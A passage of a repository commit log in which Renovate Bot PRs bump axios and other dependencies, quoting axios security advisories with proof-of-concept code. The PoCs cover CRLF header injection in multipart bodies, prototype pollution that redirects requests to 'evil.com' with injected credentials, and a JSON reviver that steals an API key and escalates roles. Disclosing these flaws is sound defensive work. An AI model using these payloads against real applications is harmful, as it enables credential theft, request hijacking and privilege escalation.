 A datagram sent by a higher-level protocol to a loopback
 address MUST NOT appear on any network."
Current fix covers  :  3 addresses (localhost, 127.0.0.1, ::1)
Proposed fix covers :  16,777,216 addresses (entire 127.0.0.0/8 + loopback names)
```

**Reason 2 — The Existing Patch Has Already Failed Once**

The patch for GHSA-3p68-rc4w-qgx5 was released with the explicit intent of securing NO_PROXY hostname matching for loopback addresses. Within the same release (1.15.0), the protection can be bypassed by substituting `127.0.0.1` with any other address in the `127.0.0.0/8` range. Leaving this gap unaddressed means that the patch creates a **false sense of security** developers believe their loopback traffic is protected when it is not.

**Reason 3 — Real Operating System Behaviour**
On Linux the dominant platform for Node.js server deployments the kernel routes the **entire `127.0.0.0/8` subnet** to the loopback interface `lo` by default. This means any address in that range functions identically to `127.0.0.1` at the networking level.

```

##### Linux routing table — default configuration
$ ip route show table local | grep "127"
local 127.0.0.0/8 dev lo proto kernel scope host src 127.0.0.1

##### Proof: 127.0.0.2 is a valid loopback address on Linux
$ ping -c 1 127.0.0.2
PING 127.0.0.2: 56 data bytes
64 bytes from 127.0.0.2: icmp_seq=0 ttl=64 time=0.045 ms
```

<img width="711" height="181" alt="04_linux_loopback_subnet_proof" src="https://github.com/user-attachments/assets/fd0f8430-37c5-4597-b2d9-8e27e479d7b2" />

Axios's current implementation does not reflect this operating system behaviour, resulting in an inconsistency between what the OS considers loopback and what Axios treats as loopback.

<img width="588" height="198" alt="06_ping_127 0 0 2_loopback_confirmed" src="https://github.com/user-attachments/assets/23bf1ab8-1bd6-4f39-88a7-93c518d72990" />

**Reason 4 — The Proposed Fix Has Zero Performance Impact**
The existing solution uses a `Set.has()` lookup an O(1) operation. The proposed fix replaces this with:

1. Two direct string comparisons (`'localhost'`, `'::1'`) — O(1)
2. A `split('.')` and array validation — O(1) with a fixed-length array of 4 elements
The computational cost is **equivalent or lower** than the current approach, and the fix introduces no new external dependencies.

**Reason 5 — The Fix Is Minimal and Surgical**
The proposed change modifies only **3 lines** of a single file. It does not alter:

* The `parseNoProxyEntry()` function
* The `normalizeNoProxyHost()` function
* The `shouldBypassProxy()` main function logic
* Any other file in the codebase

This minimises regression risk and makes the fix straightforward to review, test, and backport to older supported branches.

**Reason 6 — Resilient to Alternative IP Encodings**
Because Axios normalises the request URL using Node's native `new URL()` parser before passing it to `shouldBypassProxy()`, alternative IP encodings (such as octal `0177.0.0.1`, hex `0x7f.0.0.1`, or integer `2130706433`) are already resolved into their standard IPv4 dotted-decimal format. This means the proposed `.split('.')` validation logic is completely robust and cannot be bypassed using URL-encoded IP obfuscation techniques.

**5.5 Additional Recommendation — IPv6 Loopback Range**

While the primary bypass demonstrated in this report targets the IPv4 `127.0.0.0/8` range, the Axios team should also consider validating the full IPv6 loopback representation. The current implementation recognises only `::1`. A more complete check would also handle the full-form notation:

```
// Additional IPv6 loopback representations to consider:
'0:0:0:0:0:0:0:1'      // Full notation of ::1
'::ffff:127.0.0.1'     // IPv4-mapped IPv6 loopback
'::ffff:7f00:1'        // Hex IPv4-mapped IPv6 loopback
```
Normalising these representations before comparison would make the NO_PROXY implementation comprehensively RFC-compliant across both IPv4 and IPv6 address families.

#### Severity
- CVSS Score: 7.2 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7](https://github.com/axios/axios/security/advisories/GHSA-pmwg-cvhr-8vh7)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42043](https://nvd.nist.gov/vuln/detail/CVE-2026-42043)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-pmwg-cvhr-8vh7) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: CRLF Injection in multipart/form-data body via unsanitized blob.type in formDataToStream
[CVE-2026-42037](https://nvd.nist.gov/vuln/detail/CVE-2026-42037) / [GHSA-445q-vr5w-6q77](https://github.com/advisories/GHSA-445q-vr5w-6q77)

<details>
<summary>More information</summary>

#### Details
##### Summary
The `FormDataPart` constructor in `lib/helpers/formDataToStream.js` interpolates `value.type` directly into the `Content-Type` header of each multipart part without sanitizing CRLF (`\r\n`) sequences. An attacker who controls the `.type` property of a Blob/File-like object (e.g., via a user-uploaded file in a Node.js proxy service) can inject arbitrary MIME part headers into the multipart form-data body. This bypasses Node.js v18+ built-in header protections because the injection targets the multipart body structure, not HTTP request headers.

##### Details
In `lib/helpers/formDataToStream.js` at line 27, when processing a Blob/File-like value, the code builds per-part headers by directly embedding value.type:
```
if (isStringValue) {
  value = textEncoder.encode(String(value).replace(/\r?\n|\r\n?/g, CRLF));
} else {
  // value.type is NOT sanitized for CRLF sequences
  headers += `Content-Type: ${value.type || 'application/octet-stream'}${CRLF}`;
}
```
Note that the string path (line above) explicitly sanitizes CRLF, but the binary/blob path does not. This inconsistency confirms the sanitization was intended but missed for `value.type`.

##### Attack chain:

1. Attacker uploads a file to a Node.js proxy service, supplying a crafted MIME type containing `\r\n` sequences
2. The proxy appends the file to a FormData and posts it via `axios.post(url, formData)`
3. axios calls `formDataToStream()`, which passes `value.type` unsanitized into the multipart body
4. The downstream server receives a multipart body containing injected per-part headers
5. The server's multipart parser processes the injected headers as legitimate

This is reachable via the fully public axios API (`axios.post(url, formData)`) with no special configuration.
Additionally, `value.name` used in the `Content-Disposition` construction nearby likely has the same issue and should be audited.

##### PoC
**Prerequisites**: Node.js 18+, axios (tested on 1.14.0)
```
const http = require('http');
const axios = require('axios');

let receivedBody = '';

const server = http.createServer((req, res) => {
  let body = '';
  req.on('data', chunk => { body += chunk.toString(); });
  req.on('end', () => {
    receivedBody = body;
    res.writeHead(200);
    res.end('ok');
  });
});

server.listen(0, '127.0.0.1', async () => {
  const port = server.address().port;

  class SpecFormData {
    constructor() {
      this._entries = [];
      this[Symbol.toStringTag] = 'FormData';
    }
    append(name, value) { this._entries.push([name, value]); }
    [Symbol.iterator]() { return this._entries[Symbol.iterator](); }
    entries() { return this._entries[Symbol.iterator](); }
  }

  const fd = new SpecFormData();

  fd.append('photo', {
    type: 'image/jpeg\r\nX-Injected-Header: PWNED-by-attacker\r\nX-Evil: arbitrary-value',
    size: 16,
    name: 'photo.jpg',
    [Symbol.asyncIterator]: async function*() {
      yield Buffer.from('MALICIOUS PAYLOAD');
    }
  });

  await axios.post(`http://127.0.0.1:${port}/upload`, fd);

  if (receivedBody.includes('X-Injected-Header: PWNED-by-attacker')) {
    console.log('[VULNERABLE] CRLF injection confirmed in multipart body');
    console.log('Received body:\n' + receivedBody);
  } else {
    console.log('[NOT_VULNERABLE]');
  }

  server.close();
});
```

##### Steps to reproduce:

1. npm install axios
2. Save the above as poc_axios_crlf.js
3. Run node poc_axios_crlf.js
4. Observe the output shows [VULNERABLE] with injected headers visible in the multipart body

**Expected behavior**: value.type should be sanitized to strip \r\n before interpolation, consistent with the string value path.
**Actual behavior**: CRLF sequences in value.type are preserved, allowing arbitrary header injection in multipart parts.

##### Impact
Any Node.js application that accepts user-provided files (with attacker-controlled MIME types) and re-posts them via axios FormData is affected. This is a common pattern in proxy services, file upload relays, and API gateways.
Consequences include: bypassing server-side Content-Type-based upload filters, confusing multipart parsers into misrouting data, injecting phantom form fields if the boundary is known, and exploiting downstream server vulnerabilities that trust per-part headers.
axios is one of the most downloaded npm packages, significantly increasing the blast radius of this issue.

##### Suggested fix
In formDataToStream.js, sanitize value.type before interpolating it into the per-part Content-Type header. Apply the same strategy used for string values (strip/replace \r\n) or use the same escapeName logic.
```
const safeType = (value.type || 'application/octet-stream')
  .replace(/[\r\n]/g, '');
headers += `Content-Type: ${safeType}${CRLF}`;
```

#### Severity
- CVSS Score: 5.3 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77](https://github.com/axios/axios/security/advisories/GHSA-445q-vr5w-6q77)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42037](https://nvd.nist.gov/vuln/detail/CVE-2026-42037)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-445q-vr5w-6q77) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios has prototype pollution read-side gadgets in HTTP adapter that allow credential injection and request hijacking
[CVE-2026-42264](https://nvd.nist.gov/vuln/detail/CVE-2026-42264) / [GHSA-q8qp-cvcw-x6jj](https://github.com/advisories/GHSA-q8qp-cvcw-x6jj)

<details>
<summary>More information</summary>

#### Details
##### Summary

Five config properties in the HTTP adapter are read via direct property access without `hasOwnProperty` guards, making them exploitable as prototype pollution gadgets. When `Object.prototype` is polluted by another dependency in the same process, axios silently picks up these polluted values on every outbound HTTP request.

##### Affected Properties

1. **`config.auth`** (`lib/adapters/http.js` line 617)  Injects attacker-controlled `Authorization` header on all requests.
2. **`config.baseURL`** (`lib/helpers/resolveConfig.js` line 18) Redirects all requests using relative URLs to an attacker-controlled server.
3. **`config.socketPath`** (`lib/adapters/http.js` line 669) Redirects requests to internal Unix sockets (e.g. Docker daemon).
4. **`config.beforeRedirect`** (`lib/adapters/http.js` line 698) Executes attacker-supplied callback during HTTP redirects.
5. **`config.insecureHTTPParser`** (`lib/adapters/http.js` line 712) Enables Node.js insecure HTTP parser on all requests.

##### Proof of Concept

```javascript
const axios = require('axios');

// Prototype pollution from a vulnerable dependency in the same process
Object.prototype.auth = { username: 'attacker', password: 'exfil' };
Object.prototype.baseURL = 'https://evil.com';

await axios.get('/api/users');
// Request is sent to: https://evil.com/api/users
// With header: Authorization: Basic YXR0YWNrZXI6ZXhmaWw=
// Attacker receives both the request and injected credentials
```

##### Impact

- **Credential injection:** Every axios request includes an attacker-controlled `Authorization` header, leaking request contents to any server that logs auth headers.
- **Request hijacking:** All requests using relative URLs are silently redirected to an attacker-controlled server.
- **SSRF:** Requests can be redirected to internal Unix sockets, enabling container escape in Docker environments.
- **Code execution:** Attacker-supplied functions execute during HTTP redirects.
- **Parser weakening:** Insecure HTTP parser enabled on all requests, enabling request smuggling.

##### Root Cause

`mergeConfig()` iterates `Object.keys({...config1, ...config2})`, which only returns own properties. When neither the defaults nor the user config sets these properties, they are absent from the merged config. The HTTP adapter then reads them via direct property access (`config.auth`, `config.socketPath`, etc.), which traverses the prototype chain and picks up polluted values.

The `own()` helper at `lib/adapters/http.js` line 336 exists and guards 8 other properties (`data`, `lookup`, `family`, `httpVersion`, `http2Options`, `responseType`, `responseEncoding`, `transport`) from this exact attack. The 5 properties listed above are not included in this protection.

##### Suggested Fix

Apply the existing `own()` helper to all affected properties:

```javascript
const configAuth = own('auth');
if (configAuth) {
  const username = configAuth.username || '';
  const password = configAuth.password || '';
  auth = username + ':' + password;
}
```

Same pattern for `socketPath`, `beforeRedirect`, `insecureHTTPParser`, and a `hasOwnProperty` check for `baseURL` in `resolveConfig.js`.

#### Severity
- CVSS Score: 7.4 / 10 (High)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj](https://github.com/axios/axios/security/advisories/GHSA-q8qp-cvcw-x6jj)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-q8qp-cvcw-x6jj) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Axios: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`
[CVE-2026-42044](https://nvd.nist.gov/vuln/detail/CVE-2026-42044) / [GHSA-3w6x-2g7m-8v23](https://github.com/advisories/GHSA-3w6x-2g7m-8v23)

<details>
<summary>More information</summary>

#### Details
##### Vulnerability Disclosure: Invisible JSON Response Tampering via Prototype Pollution Gadget in `parseReviver`

##### Summary

The Axios library is vulnerable to a Prototype Pollution "Gadget" attack that allows any `Object.prototype` pollution in the application's dependency tree to be escalated into **surgical, invisible modification of all JSON API responses** — including privilege escalation, balance manipulation, and authorization bypass.

The default `transformResponse` function at `lib/defaults/index.js:124` calls `JSON.parse(data, this.parseReviver)`, where `this` is the merged config object. Because `parseReviver` is **not present in Axios defaults, not validated by `assertOptions`, and not subject to any constraints**, a polluted `Object.prototype.parseReviver` function is called for **every key-value pair** in every JSON response, allowing the attacker to selectively modify individual values while leaving the rest of the response intact.

This is **strictly more powerful** than the `transformResponse` gadget because:
1. **No constraints** — the reviver can return any value (no "must return true" requirement)
2. **Selective modification** — individual JSON keys can be changed while others remain untouched
3. **Invisible** — the response structure and most values look completely normal
4. **Simultaneous exfiltration** — the reviver sees the original values before modification

**Severity:** Critical (CVSS 9.1)
**Affected Versions:** All versions (v0.x - v1.x including v1.15.0)
**Vulnerable Component:** `lib/defaults/index.js:124` (JSON.parse with prototype-inherited reviver)

##### CWE

- **CWE-1321:** Improperly Controlled Modification of Object Prototype Attributes ('Prototype Pollution')
- **CWE-915:** Improperly Controlled Modification of Dynamically-Determined Object Attributes

##### CVSS 3.1

**Score: 9.1 (Critical)**

Vector: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N`

| Metric | Value | Justification |
|---|---|---|
| Attack Vector | Network | PP is triggered remotely via any vulnerable dependency |
| Attack Complexity | Low | Once PP exists, single property assignment. Consistent with GHSA-fvcv-3m26-pcqx scoring methodology |
| Privileges Required | None | No authentication needed |
| User Interaction | None | No user interaction required |
| Scope | Unchanged | Within the application process |
| Confidentiality | **High** | The reviver receives every key-value pair from every JSON response — full data exfiltration. In the PoC, `apiKey: "sk-secret-internal-key"` is captured |
| Integrity | **High** | Arbitrary, selective modification of any JSON value. No constraints. In the PoC, `isAdmin: false → true`, `role: "viewer" → "admin"`, `balance: 100 → 999999`. The response looks completely normal except for the surgically altered values |
| Availability | None | No crash, no error — the attack is entirely silent |

##### Comparison with All Known Axios PP Gadgets

| Factor | GHSA-fvcv-3m26-pcqx (Header Injection) | transformResponse | proxy (MITM) | **parseReviver (This)** |
|---|---|---|---|---|
| PP target | `Object.prototype['header']` | `Object.prototype.transformResponse` | `Object.prototype.proxy` | `Object.prototype.parseReviver` |
| Fixed by 1.15.0? | Yes | No | No | **No** |
| Constraints | N/A (fixed) | **Must return `true`** | None | **None** |
| Data modification | Header injection only | Response replaced with `true` | Full MITM | **Selective per-key modification** |
| Stealth | Request anomaly visible | Response becomes `true` (obvious) | Proxy visible in network | **Completely invisible** |
| Data access | Headers only | `this.auth` + raw response | All traffic | **Every JSON key-value pair** |
| Validated? | N/A | `assertOptions` validates | Not validated | **Not validated** |
| In defaults? | N/A | Yes → goes through mergeConfig | No → bypasses mergeConfig | **No → bypasses mergeConfig** |

##### Usage of "Helper" Vulnerabilities

This vulnerability requires **Zero Direct User Input**.

If an attacker can pollute `Object.prototype` via any other library in the stack (e.g., `qs`, `minimist`, `lodash`, `body-parser`), the polluted `parseReviver` function is automatically used by every Axios request that receives a JSON response. The developer's code is completely safe — no configuration errors needed.

##### Root Cause Analysis

##### The Attack Path

```
Object.prototype.parseReviver = function(key, value) { /* malicious */ }
         │
         ▼
  mergeConfig(defaults, userConfig)
         │
         │  parseReviver NOT in defaults → NOT iterated by mergeConfig
         │  parseReviver NOT in userConfig → NOT iterated by mergeConfig
         │  Merged config has NO own parseReviver property
         │
         ▼
  transformData.call(config, config.transformResponse, response)
         │
         │  Default transformResponse function runs (NOT overridden)
         │
         ▼
  defaults/index.js:124: JSON.parse(data, this.parseReviver)
         │
         │  this = config (merged config object, plain {})
         │  config.parseReviver → NOT own property → traverses prototype chain
         │  → finds Object.prototype.parseReviver → attacker's function!
         │
         ▼
  JSON.parse calls reviver for EVERY key-value pair
         │
         │  Attacker can: read original value, modify it, return anything
         │  No validation, no constraints, no assertOptions check
         │
         ▼
  Application receives surgically modified JSON response
```

##### Why `parseReviver` Bypasses ALL Existing Protections

1. **Not in defaults** (`lib/defaults/index.js`): `parseReviver` is not defined in the defaults object, so `mergeConfig`'s `Object.keys({...defaults, ...userConfig})` iteration never encounters it. The merged config has no own `parseReviver` property.

2. **Not in assertOptions schema** (`lib/core/Axios.js:135-142`): The schema only contains `{baseUrl, withXsrfToken}`. `parseReviver` is not validated.

3. **No type check**: The `JSON.parse` API accepts any function as a reviver. There is no check that `this.parseReviver` is intentionally set.

4. **Works INSIDE the default transform**: Unlike `transformResponse` pollution (which replaces the entire transform and is caught by `assertOptions`), `parseReviver` pollution injects into the DEFAULT `transformResponse` function's `JSON.parse` call. The default function itself is not replaced, so `assertOptions` has nothing to catch.

##### Vulnerable Code

**File:** `lib/defaults/index.js`, line 124

```javascript
transformResponse: [
  function transformResponse(data) {
    // ... transitional checks ...
    if (data && utils.isString(data) && ((forcedJSONParsing && !this.responseType) || JSONRequested)) {
      // ...
      try {
        return JSON.parse(data, this.parseReviver);
        //                      ^^^^^^^^^^^^^^^^^
        //                      this = config
        //                      config.parseReviver → prototype chain → attacker's function
      } catch (e) {
        // ...
      }
    }
    return data;
  },
],
```

##### Proof of Concept

```javascript
import http from 'http';
import axios from './index.js';

// Server returns a realistic authorization response
const server = http.createServer((req, res) => {
  res.writeHead(200, { 'Content-Type': 'application/json' });
  res.end(JSON.stringify({
    user: 'john',
    role: 'viewer',
    isAdmin: false,
    canDelete: false,
    balance: 100,
    permissions: ['read'],
    apiKey: 'sk-secret-internal-key',
  }));
});
await new Promise(r => server.listen(0, r));
const port = server.address().port;

// === Before Pollution ===
const before = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('Before:', JSON.stringify(before.data));
// {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,"balance":100,...}

// === Simulate Prototype Pollution ===
let stolen = {};
Object.prototype.parseReviver = function(key, value) {
  // Silently capture all original values
  if (key && typeof value !== 'object') stolen[key] = value;
  // Surgically modify specific values
  if (key === 'isAdmin') return true;       // false → true
  if (key === 'role') return 'admin';       // viewer → admin
  if (key === 'canDelete') return true;     // false → true
  if (key === 'balance') return 999999;     // 100 → 999999
  return value;                              // everything else unchanged
};

// === After Pollution — same code, same URL ===
const after = await axios.get(`http://127.0.0.1:${port}/api/me`);
console.log('After: ', JSON.stringify(after.data));
// {"user":"john","role":"admin","isAdmin":true,"canDelete":true,"balance":999999,...}

console.log('Stolen:', JSON.stringify(stolen));
// {"user":"john","role":"viewer","isAdmin":false,...,"apiKey":"sk-secret-internal-key"}

delete Object.prototype.parseReviver;
server.close();
```

##### Verified PoC Output

```
[1] Normal request (before pollution):
    response.data: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                     "balance":100,"permissions":["read"],"apiKey":"sk-secret-internal-key"}
    isAdmin: false
    role: viewer

[2] Prototype Pollution: Object.prototype.parseReviver
    Polluted with selective value modifier

[3] Same request (after pollution):
    response.data: {"user":"john","role":"admin","isAdmin":true,"canDelete":true,
                     "balance":999999,"permissions":["read","write","delete","admin"],
                     "apiKey":"sk-secret-internal-key"}
    isAdmin: true (was: false)
    role: admin (was: viewer)
    canDelete: true (was: false)
    balance: 999999 (was: 100)

[4] Exfiltrated data (stolen silently):
    apiKey: sk-secret-internal-key
    All captured: {"user":"john","role":"viewer","isAdmin":false,"canDelete":false,
                   "balance":100,"apiKey":"sk-secret-internal-key"}

[5] Why this bypasses all checks:
    parseReviver in defaults? NO
    parseReviver in assertOptions schema? NO
    parseReviver validated anywhere? NO
    Must return true? NO — can return ANY value
    Replaces entire transform? NO — works INSIDE default JSON.parse
```

##### Impact Analysis

##### 1. Authorization / Privilege Escalation

```javascript
// Server returns: {"role":"viewer","isAdmin":false}
// Application sees: {"role":"admin","isAdmin":true}
// → Application grants admin access to unprivileged user
```

##### 2. Financial Manipulation

```javascript
// Server returns: {"balance":100,"approved":false}
// Application sees: {"balance":999999,"approved":true}
// → Application approves a transaction that should be rejected
```

##### 3. Security Control Bypass

```javascript
// Server returns: {"mfaRequired":true,"accountLocked":true}
// Application sees: {"mfaRequired":false,"accountLocked":false}
// → Application skips MFA and unlocks a locked account
```

##### 4. Silent Data Exfiltration

The reviver function receives the **original** value before modification. The attacker can silently capture all API keys, tokens, internal data, and PII from every JSON response while the application continues to function normally.

##### 5. Universal and Invisible

- Affects **every** Axios request that receives a JSON response
- The response structure is intact — only specific values are changed
- No errors, no crashes, no suspicious behavior
- Application logs show normal-looking API responses with tampered values

##### Recommended Fix

##### Fix 1: Use `hasOwnProperty` check before using `parseReviver`

```javascript
// FIXED: lib/defaults/index.js
const reviver = Object.prototype.hasOwnProperty.call(this, 'parseReviver')
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
```

##### Fix 2: Use null-prototype config object

```javascript
// In lib/core/mergeConfig.js
const config = Object.create(null);
```

##### Fix 3: Validate `parseReviver` type and source

```javascript
// FIXED: lib/defaults/index.js
const reviver = (typeof this.parseReviver === 'function' &&
  Object.prototype.hasOwnProperty.call(this, 'parseReviver'))
  ? this.parseReviver
  : undefined;
return JSON.parse(data, reviver);
```

##### Relationship to Other Reported Gadgets

This vulnerability shares the same **root cause class** — unsafe prototype chain traversal on the merged config object — with two other reported gadgets:

| Report | PP Target | Code Location | Fix Location | Impact |
|---|---|---|---|---|
| axios_26 | `transformResponse` | `mergeConfig.js:49` (defaultToConfig2) | `mergeConfig.js` | Credential theft, response replaced with `true` |
| axios_30 | `proxy` | `http.js:670` (direct property access) | `http.js` | Full MITM, traffic interception |
| **axios_31 (this)** | `parseReviver` | `defaults/index.js:124` (this.parseReviver) | `defaults/index.js` | **Selective JSON value tampering + data exfiltration** |

##### Why These Are Distinct Vulnerabilities

1. **Different polluted properties:** Each targets a different `Object.prototype` key.
2. **Different code paths:** `transformResponse` enters via `mergeConfig`; `proxy` is read directly by `http.js`; `parseReviver` is read inside the default `transformResponse` function's `JSON.parse` call.
3. **Different fix locations:** Fixing `mergeConfig.js` (axios_26) does NOT fix `defaults/index.js:124` (this vulnerability). Fixing `http.js:670` (axios_30) does NOT fix this either. Each requires a separate patch.
4. **Different impact profiles:** `transformResponse` is constrained to return `true`; `proxy` requires a proxy server; `parseReviver` enables constraint-free selective value modification.

##### Comprehensive Fix

While each vulnerability requires a location-specific patch, the comprehensive fix is to use **null-prototype objects** (`Object.create(null)`) for the merged config in `mergeConfig.js`, which would eliminate prototype chain traversal for all config property accesses and address all three gadgets at once. The maintainer may choose to assign a single CVE covering the root cause or separate CVEs for each distinct exploitation path — we defer to the maintainer's judgment on this.

##### Resources

- [CWE-1321: Prototype Pollution](https://cwe.mitre.org/data/definitions/1321.html)
- [CWE-915: Improperly Controlled Modification of Dynamically-Determined Object Attributes](https://cwe.mitre.org/data/definitions/915.html)
- [GHSA-fvcv-3m26-pcqx: Related PP Gadget in Axios (Fixed in 1.15.0)](https://github.com/advisories/GHSA-fvcv-3m26-pcqx)
- [MDN: JSON.parse reviver](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/JSON/parse#the_reviver_parameter)
- [Axios GitHub Repository](https://github.com/axios/axios)

##### Timeline

| Date | Event |
|---|---|
| 2026-04-16 | Vulnerability discovered during source code audit |
| 2026-04-16 | PoC developed and verified — selective response tampering confirmed |
| TBD | Report submitted to vendor via GitHub Security Advisory |

#### Severity
- CVSS Score: 6.5 / 10 (Medium)
- Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N`

#### References
- [https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23](https://github.com/axios/axios/security/advisories/GHSA-3w6x-2g7m-8v23)
- [https://nvd.nist.gov/vuln/detail/CVE-2026-42044](https://nvd.nist.gov/vuln/detail/CVE-2026-42044)
- [https://github.com/axios/axios](https://github.com/axios/axios)

This data is provided by [OSV](https://osv.dev/vulnerability/GHSA-3w6x-2g7m-8v23) and the [GitHub Advisory Database](https://github.com/github/advisory-database) ([CC-BY 4.0](https://github.com/github/advisory-database/blob/main/LICENSE.md)).
</details>

---

### Release Notes

<details>
<summary>axios/axios (axios)</summary>

### [`v1.15.2`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1152---April-21-2026)

[Compare Source](https://github.com/axios/axios/compare/v1.15.1...v1.15.2)

This release delivers prototype-pollution hardening for the Node HTTP adapter, adds an opt-in `allowedSocketPaths` allowlist to mitigate SSRF via Unix domain sockets, fixes a keep-alive socket memory leak, and ships supply-chain hardening across CI and security docs.

### [`v1.15.1`](https://github.com/axios/axios/blob/HEAD/CHANGELOG.md#v1151---April-19-2026)

[Compare Source](https://github.com/axios/axios/compare/v1.15.0...v1.15.1)

This release ships a coordinated set of security hardening fixes across headers, body/redirect limits, multipart handling, and XSRF/prototype-pollution vectors, alongside a broad sweep of bug fixes, test migrations, and threat-model documentation updates.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - "" (UTC), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIiwic2VjdXJpdHkiXX0=-->

Reviewed-on: #32
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:34:21 +02:00
APF Portal Bot 7fc2abf0fc chore(deps): update dependency jsonc-eslint-parser to v3 (#31)
CI / commits (push) Has been skipped
CI / check (push) Successful in 2m29s
CI / a11y (push) Successful in 2m3s
CI / scan (push) Failing after 2m36s
CI / perf (push) Successful in 4m2s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [jsonc-eslint-parser](https://github.com/ota-meshi/jsonc-eslint-parser) | devDependencies | major | [`^2.1.0` -> `^3.0.0`](https://renovatebot.com/diffs/npm/jsonc-eslint-parser/2.4.2/3.1.0) |

---

### Release Notes

<details>
<summary>ota-meshi/jsonc-eslint-parser (jsonc-eslint-parser)</summary>

### [`v3.1.0`](https://github.com/ota-meshi/jsonc-eslint-parser/blob/HEAD/CHANGELOG.md#310)

[Compare Source](https://github.com/ota-meshi/jsonc-eslint-parser/compare/v3.0.0...v3.1.0)

##### Minor Changes

- [#&#8203;275](https://github.com/ota-meshi/jsonc-eslint-parser/pull/275) [`38d5905`](https://github.com/ota-meshi/jsonc-eslint-parser/commit/38d5905ede808f7cc5ff2530552cebd0fadc6c5e) Thanks [@&#8203;ota-meshi](https://github.com/ota-meshi)! - feat: add `tokenize()`

### [`v3.0.0`](https://github.com/ota-meshi/jsonc-eslint-parser/blob/HEAD/CHANGELOG.md#300)

[Compare Source](https://github.com/ota-meshi/jsonc-eslint-parser/compare/v2.4.2...v3.0.0)

##### Major Changes

- [#&#8203;266](https://github.com/ota-meshi/jsonc-eslint-parser/pull/266) [`6d1679d`](https://github.com/ota-meshi/jsonc-eslint-parser/commit/6d1679d4d9dfac8f28b1cc0519a2aee50671efaa) Thanks [@&#8203;copilot-swe-agent](https://github.com/apps/copilot-swe-agent)! - Drop support for Node.js versions older than 20.19.0. The new minimum supported versions are: ^20.19.0 || ^22.13.0 || >=24

- [#&#8203;268](https://github.com/ota-meshi/jsonc-eslint-parser/pull/268) [`e1c554a`](https://github.com/ota-meshi/jsonc-eslint-parser/commit/e1c554a1e16d09585fc2fb3d00c9739d330c3e3d) Thanks [@&#8203;copilot-swe-agent](https://github.com/apps/copilot-swe-agent)! - Change to ESM-only package. This is a breaking change that requires Node.js environments that support ESM.

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Disabled by config. Please merge this manually once you are satisfied.

♻ **Rebasing**: Whenever PR becomes conflicted, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #31
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-05 23:32:06 +02:00
APF Portal Bot afc9474bed chore(deps): update dependency @types/node to v24 (#29)
CI / check (push) Successful in 2m26s
CI / commits (push) Has been skipped
CI / scan (push) Failing after 1m26s
CI / a11y (push) Successful in 2m25s
CI / perf (push) Successful in 3m41s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
